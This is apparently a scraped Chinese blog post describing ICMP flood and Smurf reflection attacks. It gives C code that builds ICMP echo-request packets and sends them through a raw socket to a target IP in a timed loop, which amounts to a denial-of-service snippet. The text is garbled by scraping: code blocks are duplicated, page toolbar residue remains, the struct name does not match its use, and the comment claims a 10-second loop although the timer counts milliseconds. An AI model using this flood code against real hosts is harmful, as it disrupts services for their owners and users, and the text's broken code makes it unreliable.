http://blog.csdn.net/hwhaocool/article/details/22697325
icmp flood屬于flood的其中一種.
達(dá)到效果有以下實(shí)現(xiàn)方法
1.兩敗俱傷
大量的 ICMP消息發(fā)送給目標(biāo)系統(tǒng),使得它不能夠?qū)戏ǖ姆?wù)請(qǐng)求做出響應(yīng)。中美黑客大戰(zhàn)中的多數(shù)中國(guó)黑客采用的正是此項(xiàng)技術(shù)。ICMP FLOOD攻擊實(shí)際上是一種兩敗俱傷的攻擊方式,在主機(jī)"瘋狂"地向攻擊目標(biāo)發(fā)送ICMP消息的時(shí)候,主機(jī)也在消耗自身的系統(tǒng)資源。如果自身的網(wǎng)絡(luò)資源小 于目標(biāo)的話,這種攻擊就是"蚍蜉撼大樹"。因此,ICMP FLOOD攻擊為了達(dá)到很好的效果,往往要聯(lián)合多臺(tái)機(jī)器同時(shí)攻擊同一臺(tái)機(jī)器,從而形成分布式拒絕服務(wù)攻擊(DDoS)。
2.借刀殺人
攻擊者向許多地址發(fā)送ICMP Echo Request,但是它卻告訴這些地址ICMP Echo Request不是它自己發(fā)的,而是"某某"發(fā)的,這個(gè)"某某"就會(huì)成為"眾矢之的"。通過偽裝目的主機(jī)的IP地址,向多個(gè)IP 網(wǎng)絡(luò)的廣播地址發(fā)送ICMP Echo Request數(shù)據(jù)包,使得目的主機(jī)需要消耗大量CPU 資源和有效帶寬來處理來自眾多節(jié)點(diǎn)的ICMP Reply數(shù)據(jù)包。該攻擊的原理如下圖:

從圖中可以看出,帶寬僅為128Kbps的攻擊者可以擊潰帶寬比其更大(512Kbps)的目標(biāo),因?yàn)镮CMP SMURF采用的手段是"借刀殺人"!它本身并不向目標(biāo)發(fā)送ICMP消息,而是向許多遠(yuǎn)程主機(jī)"誣告"攻擊目標(biāo)向他們發(fā)送了ICMP Echo,于是這些遠(yuǎn)程主機(jī)紛紛向攻擊目標(biāo)發(fā)送ICMP Reply,導(dǎo)致攻擊目標(biāo)崩潰。有明一代名將袁崇煥督師就是因?yàn)闈M人的反間計(jì)而被崇禎凌遲,并被當(dāng)時(shí)的北京市民爭(zhēng)其肉而食的。網(wǎng)絡(luò)攻擊中的"借刀殺人"照 樣威力無窮。


//定義ICMP首部
typedef struct _icmphdr{
unsigned char i_type; //8位類型
unsigned char i_code; //8位代碼
unsigned short i_cksum; //16位校驗(yàn)和, 從TYPE開始,直到最后一位用戶數(shù)據(jù),如果為字節(jié)數(shù)為奇數(shù)則補(bǔ)充一位
unsigned short i_id ; //識(shí)別號(hào)(一般用進(jìn)程號(hào)作為識(shí)別號(hào)), 用于匹配ECHO和ECHO REPLY包
unsigned short i_seq ; //報(bào)文序列號(hào), 用于標(biāo)記ECHO報(bào)文順序
unsigned int timestamp; //時(shí)間戳
}ICMP_HEADER;
計(jì)算校驗(yàn)和的經(jīng)典函數(shù):
SHORT checksum(USHORT* buffer, int size)
{
unsigned long cksum = 0;
while(size>1)
{
cksum += *buffer++;
size -= sizeof(USHORT);
}
if(size)
{
cksum += *(UCHAR*)buffer;
}
cksum = (cksum>>16) + (cksum&0xffff);
cksum += (cksum>>16);
return (USHORT)(~cksum);
}
計(jì)算校驗(yàn)和的經(jīng)典函數(shù):
SHORT checksum(USHORT* buffer, int size)
{
unsigned long cksum = 0;
while(size>1)
{
cksum += *buffer++;
size -= sizeof(USHORT);
}
if(size)
{
cksum += *(UCHAR*)buffer;
}
cksum = (cksum>>16) + (cksum&0xffff);
cksum += (cksum>>16);
return (USHORT)(~cksum);
}
<meta charset="utf-8">
[cpp] [view plain](http://blog.csdn.net/hwhaocool/article/details/22697325#) [copy](http://blog.csdn.net/hwhaocool/article/details/22697325#) [print?](http://blog.csdn.net/hwhaocool/article/details/22697325#)
1. /////////生成ICMP會(huì)送請(qǐng)求報(bào)文
2. char icmp_data[65535]={0}; //要發(fā)送的字符串
4. ((IcmpHeader*)icmp_data)->chksum=0;
5. ((IcmpHeader*)icmp_data)->type=8; //會(huì)送請(qǐng)求
6. ((IcmpHeader*)icmp_data)->code=0; //
7. ((IcmpHeader*)icmp_data)->id=2;
8. ((IcmpHeader*)icmp_data)->timestamp=GetTickCount(); //設(shè)置時(shí)間戳
9. ((IcmpHeader*)icmp_data)->seq=0; //序列號(hào)
11. memset(icmp_data+sizeof(IcmpHeader),'E',PACKET_SIZE);
12. ((IcmpHeader*)icmp_data)->chksum=
13. checksum((USHORT*)icmp_data,sizeof(IcmpHeader)+PACKET_SIZE); //填入校驗(yàn)和
14. int datasize=sizeof(IcmpHeader)+PACKET_SIZE;
16. //開始發(fā)送數(shù)據(jù)報(bào)文了
17. sockaddr_in dst;
18. dst.sin_family=AF_INET;
19. dst.sin_addr.S_un.S_addr=inet_addr(dstIP);
20. DWORD dwStart=GetTickCount();
21. while(GetTickCount()-dwStart<10) //程序運(yùn)行10秒后退出
22. sendto(sockRAW,icmp_data,datasize,0,(struct sockaddr*)&dst,sizeof(dst));
/////////生成ICMP會(huì)送請(qǐng)求報(bào)文
char icmp_data[65535]={0}; //要發(fā)送的字符串
((IcmpHeader*)icmp_data)->chksum=0;
((IcmpHeader*)icmp_data)->type=8; //會(huì)送請(qǐng)求
((IcmpHeader*)icmp_data)->code=0; //
((IcmpHeader*)icmp_data)->id=2;
((IcmpHeader*)icmp_data)->timestamp=GetTickCount(); //設(shè)置時(shí)間戳
((IcmpHeader*)icmp_data)->seq=0; //序列號(hào)
memset(icmp_data+sizeof(IcmpHeader),'E',PACKET_SIZE);
((IcmpHeader*)icmp_data)->chksum=
checksum((USHORT*)icmp_data,sizeof(IcmpHeader)+PACKET_SIZE); //填入校驗(yàn)和
int datasize=sizeof(IcmpHeader)+PACKET_SIZE;
//開始發(fā)送數(shù)據(jù)報(bào)文了
sockaddr_in dst;
dst.sin_family=AF_INET;
dst.sin_addr.S_un.S_addr=inet_addr(dstIP);
DWORD dwStart=GetTickCount();
while(GetTickCount()-dwStart<10) //程序運(yùn)行10秒后退出
sendto(sockRAW,icmp_data,datasize,0,(struct sockaddr*)&dst,sizeof(dst));
